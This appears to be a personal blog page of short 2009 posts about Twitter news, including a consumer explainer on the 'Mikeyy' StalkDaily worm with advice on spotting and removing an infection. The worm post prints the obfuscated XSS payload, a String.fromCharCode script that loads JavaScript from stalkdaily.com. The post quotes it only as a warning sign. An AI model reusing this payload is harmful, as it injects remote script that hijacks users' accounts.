Elizabeth Fish

Another quick article I’ve just published, about one of my favourite topics, Twitter. Give it a read, and tell me what you think of Twitter’s new Beta.

Twitter users blessed with the new Retweet functionality, as explained in our visual guide, will be logging in to find that the new beta feature is no longer available. The removal of the new feature comes only days after it was introduced, with Twitter putting the removal of the feature down to numerous bug errors.

Check out the rest here.

Another article from Twitter bulletin. Check out the Ps ’skills’. Enjoy.

Check it out at http://www.twitterbulletin.com/2009/08/25/twitters-bid-to-trademark-tweet-fails/

A short article for the Twitter blog I write for.

Send tweets, good or bad, without fear of being caught with new website-Tweet from Below.

The website is straightforward- simply type in what you want to say and press send. These will the be sent to Tweet From Below’s personal Twitter account, and if using an @ reply, the receiver. No login is required, so no-one will know it was you who sent the tweet.

Read the rest of the article here: http://www.twitterbulletin.com/2009/08/26/post-anonymously-with-tweet-from-below/

A familiar face: Twitter's Fail Whale

Through most of today (6/8/09), social networking site Twitter went down on and off through the day due to a “denial-of-service” attack, most probably due to a hacker with a grudge.

Twitter was soon back on track with no major tragedies- except maybe the annoyance of it’s most devoted users that they couldn’t check new Tweets or update themselves- so all is well.

However, this is not the site’s first attack- less than 4 months ago, a young hacker known as Mikeyy infected many of Twitter’s member with a virus causing them to post dodgy Tweets. If the site is being attacked this frequently, alongside the infamous ‘Fail Whale’, what if Twitter eventually meets it’s match and is therefore shut down for good? I personally believe this could lead to consequences. (more…)

In the last week, Twitter has been undergoing a few problems. No, not an increased amount of fail whale pages. The problem comes in the form of a worm called “Mikeyy”, and has been infecting peoples profiles for the last few days.

So who is this Mikeyy? How can you spot and infected profile and what should you do if your profile becomes infected? Well, Mikeyy is in fact a real person. Real name Micheal Mooney, and a mere 17 years old, he is the creator of the virus via StalkDaily- don’t check out the site, as that is where the virus is ’stored’.

You can notice an infected follower by an unusual status update which they did not generate, along the lines of either “Hey everyone, join www. StalkDaily. com. It’s a site like Twitter but with pictures, videos, and so much more! ” or suggesting that Twitter should hire Mikeyy. Some cases have seen cruder tweets. There’s also a problem in the user’s name. instead of being able to see their full name on their profile, instead you’d see this script or similar:

><title><script>document.write(String.fromCharCode(60,115,99, 114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,119,119, 119,46,115,116,97,108,107,100,97,105,108,121,46,99,111,109,47,97, 106,97,120,46,106,115,34,62,60,47,115,99,114,105,112,116,62));</script>

DO NOT GO ONTO THEIR PROFILE, as this is what helps the worm spread.

Okay, so what if curiosity got the better of you and now you are infected (you’ll know by the random status update you just made)? Don’t panic, this worm is no threat to your personal information. Though just to be safe, change your password anyway. You will be locked out of your profile by Twitter as an infected profile anyway, so follow the prompts. Then simply change your name back and you are no longer infected.

Why did Mooney do this? Apparently, Mooney does this to many websites, mainly “out of boredom”. There is even one cease and desist form circulating the internet from a previous site he attacked here. One website, The Drill Down, managed to grab an interview with the teen, which you can listen to here: The Drill Down

So, remember, don’t click on suspicious profiles and if in doubt, change your password.